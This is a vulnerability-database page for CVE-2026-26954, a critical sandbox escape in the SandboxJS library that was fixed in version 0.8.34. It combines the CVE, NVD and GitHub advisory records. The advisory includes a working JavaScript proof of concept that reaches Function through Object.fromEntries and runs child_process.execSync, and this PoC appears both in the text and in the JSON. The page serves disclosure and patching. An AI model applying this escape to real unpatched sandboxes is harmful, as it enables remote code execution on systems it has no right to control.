Vulnerability-Lookup

CVE-2026-26954 (GCVE-0-2026-26954)

Vulnerability from cvelistv5 – Published: 2026-03-13 15:51 – Updated: 2026-03-16 17:06

Title

SandboxJS has a Sandbox Escape

Summary

SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34.

Severity ?

10 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

URL

Tags

https://github.com/nyariv/SandboxJS/security/advi…

x_refsource_CONFIRM

Impacted products

	Vendor	Product	Version
	nyariv	SandboxJS	Affected: < 0.8.34

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-26954

Vulnerability from fkie_nvd - Published: 2026-03-13 19:54 - Updated: 2026-03-17 20:13

Severity ?

10.0 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv	Vendor Advisory, Exploit
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv	Vendor Advisory, Exploit

Impacted products

	Vendor	Product	Version
	nyariv	sandboxjs	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*",
              "matchCriteriaId": "21637BCD-7C1B-48F0-836C-399CD3946F7D",
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    {
      "lang": "en",
      "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.34, it is possible to obtain arrays containing Function, which allows escaping the sandbox. Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This vulnerability is fixed in 0.8.34."
    }
  ],
  "id": "CVE-2026-26954",
  "lastModified": "2026-03-17T20:13:06.470",
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        "impactScore": 6.0,
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        "type": "Secondary"
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GHSA-6R9F-759J-HJGV

Vulnerability from github – Published: 2026-03-13 13:46 – Updated: 2026-03-16 17:05

Summary

SandboxJS affected by a Sandbox Escape

Details

Summary

It is possible to obtain arrays containing Function, which allows escaping the sandbox.

Details

There are various ways to get an array containing Function, e.g.

Object.entries(this).at(1) // [ 'Function', [Function: Function] ]
Object.values(this).slice(1, 2) // [ [Function: Function] ]

Given an array containing Function, and Object.fromEntries, it is possible to construct {[p]: Function} where p is any constructible property. This can be used to escape the sandbox.

PoC

const s = require('.').default;
const sb = new s();

payload = `
const p = (async function () {})();
({
  "finally": p.finally,
  ...Object.fromEntries([['then', ...Object.values(this).slice(1)]]),
}).finally('a=process.getBuiltinModule("child_process").execSync("ls", {stdio: "inherit"})')();
`;

sb.compile(payload)().run();

Impact

Sandbox Escape -> RCE

Severity ?

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.33"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@nyariv/sandboxjs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-26954"
  ],
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    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T13:46:08Z",
    "nvd_published_at": "2026-03-13T19:54:31Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nIt is possible to obtain arrays containing `Function`, which allows escaping the sandbox.\n\n### Details\n\nThere are various ways to get an array containing `Function`, e.g.\n\n```js\nObject.entries(this).at(1) // [ \u0027Function\u0027, [Function: Function] ]\nObject.values(this).slice(1, 2) // [ [Function: Function] ]\n```\n\nGiven an array containing `Function`, and  `Object.fromEntries`, it is possible to construct `{[p]: Function}` where `p` is any constructible property. This can be used to escape the sandbox.\n\n### PoC\n```js\nconst s = require(\u0027.\u0027).default;\nconst sb = new s();\n\npayload = `\nconst p = (async function () {})();\n({\n  \"finally\": p.finally,\n  ...Object.fromEntries([[\u0027then\u0027, ...Object.values(this).slice(1)]]),\n}).finally(\u0027a=process.getBuiltinModule(\"child_process\").execSync(\"ls\", {stdio: \"inherit\"})\u0027)();\n`;\n\nsb.compile(payload)().run();\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE",
  "id": "GHSA-6r9f-759j-hjgv",
  "modified": "2026-03-16T17:05:26Z",
  "published": "2026-03-13T13:46:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-6r9f-759j-hjgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26954"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/commit/e01505b1ea49f4f13956cd12b7ce01b83d2ee085"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/releases/tag/v0.8.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SandboxJS affected by a Sandbox Escape"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

CVE-2026-26954 (GCVE-0-2026-26954)

FKIE_CVE-2026-26954

GHSA-6R9F-759J-HJGV

Summary

Details

PoC

Impact

Tags

Sightings

Nomenclature